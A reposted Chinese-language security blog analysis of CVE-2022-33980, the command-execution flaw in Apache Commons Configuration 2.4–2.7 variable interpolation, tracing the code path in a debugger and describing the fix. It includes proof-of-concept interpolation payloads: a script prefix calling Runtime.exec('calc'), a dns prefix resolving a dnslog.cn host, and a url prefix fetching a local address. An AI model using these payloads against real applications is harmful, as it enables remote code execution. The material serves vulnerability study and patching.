CVE-2022-33980命令执行漏洞分析

admin 2022年10月15日14:23:42评论588 views字数 4624阅读15分24秒阅读模式

更多全球网络安全资讯尽在邑安全

前言

最近注意到了Apache Commons Configuration 在2.7版本已经不安全了,能够直接影响该组件,来分析学一下漏洞原理

漏洞分析

前置

Commons Configuration是一个java应用程序的配置管理类库。可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较的复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理。也提高了开发效率和软件的可维护性。

它目前支持的配置文件格式有:
Properties files
XML documents
Windows INI files
Property list files (plist)
JNDI等等
根据官方给出的漏洞通报
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

CVE-2022-33980命令执行漏洞分析

明白这个CVE的漏洞点是在变量插值中造成的
那么什么是变量插值呢?
commons-configuration2来说,变量插值,就类似于引用动态变量的方式,就好比,如果我们需要获取系统中的某个环境变量,我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录,同样可以通过${sys:user.home}
我们可以跟进一下源码,看看这种写法是在哪里解析的
他主要是在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中对这种写法进行解析,赋予其对应的值

CVE-2022-33980命令执行漏洞分析

从注释中我们可以知道对于变量的插值,如果这个值他是字符串类型的,他将会检查时候包含有变量,如果有,将会替换这个变量,如果没有就按照源String返回

所以我们同样可以通过使用该方法进行变量插值的使用

package pers.test_01;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
public static void main(String[] args) {
InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
//创建示例
ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
// 解析字符串
System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));

}
}

同样可以使用这种变量插值

影响范围

2.4 ~ 2.7

漏洞

首先引入Commons-Configuration的依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.7</version>
</dependency>

我们从之前的漏洞通告可以知道,由script将会导致JVM脚本执行
我们debug分析一下他的流程

System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec("calc")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec("calc")}"));

我们在前面说的在interpolate方法中打下断点

CVE-2022-33980命令执行漏洞分析

传入了变量插值的值,首先判断他是否是String的实例,之后将会调用looksLikeSingleVariable进行判断格式是否正确

CVE-2022-33980命令执行漏洞分析

之后成功达到了resolveSingleVariable的调用

CVE-2022-33980命令执行漏洞分析

我们跟进extractVariableName方法,在该方法中,他将去掉${}等字符,取出变量值

CVE-2022-33980命令执行漏洞分析

之后调用resolve进行处理

CVE-2022-33980命令执行漏洞分析

在该方法中,他将分别取出prefix name value字段

CVE-2022-33980命令执行漏洞分析

通过调用fetchLookupForPrefix方法传入prefix,取出对应的LookUp对象

CVE-2022-33980命令执行漏洞分析

直接从prefixLookups这个Map对象属性中获取对应的StringLookupAdapter
之后我们紧跟着调用了lookup方法

CVE-2022-33980命令执行漏洞分析

这里也可以知道对应的stringLookup为ScriptLookup类对象,跟进其lookup方法的调用

CVE-2022-33980命令执行漏洞分析

他首先会通过:将其进行分隔开来,并判断了其格式,再分别取出了engineNamescript之后,将会在后面通过调用getEngineByName方法的调用传入engineName,得到了scriptEngineNashormScriptEngine

跟进其eval方法

CVE-2022-33980命令执行漏洞分析


带入了script和context对象继续调用eval方法

CVE-2022-33980命令执行漏洞分析


跟进evalImpl方法
到最后成功执行了我们的代码,达到了命令执行
贴一个调用栈

exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$^eval_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Commons_Configuration2_Test (pers.test_01)

CVE-2022-33980命令执行漏洞分析


根据漏洞通报中,同样还有这其他的prefix造成的影响

System.out.println(configurationInterpolator.interpolate("${dns:" + "test." + "uqp639.dnslog.cn}"));

CVE-2022-33980命令执行漏洞分析


同样可以实现dns解析

同样还可以访问远程url

System.out.println(configurationInterpolator.interpolate("${url:http:http://127.0.0.1:8000/}"));

CVE-2022-33980命令执行漏洞分析


修复

再查看diff之后
https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152#diff-ae29e7f41cf746bc365d2cd17ca0cf535757498625a7203db240113021082f3f
根据官方的更新描述

CVE-2022-33980命令执行漏洞分析


默认将script url dns等prefix给去除了

CVE-2022-33980命令执行漏洞分析


CVE-2022-33980命令执行漏洞分析


Reference

https://github.com/apache/commons-configuration
https://www.anquanke.com/post/id/276734

原文来自: xz.aliyun.com

原文链接: https://xz.aliyun.com/t/11723

欢迎收藏并分享朋友圈,让五邑人网络更安全

CVE-2022-33980命令执行漏洞分析

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



原文始发于微信公众号(邑安全):CVE-2022-33980命令执行漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月15日14:23:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-33980命令执行漏洞分析http://cn-sec.com/archives/1350773.html

发表评论

匿名网友 填写信息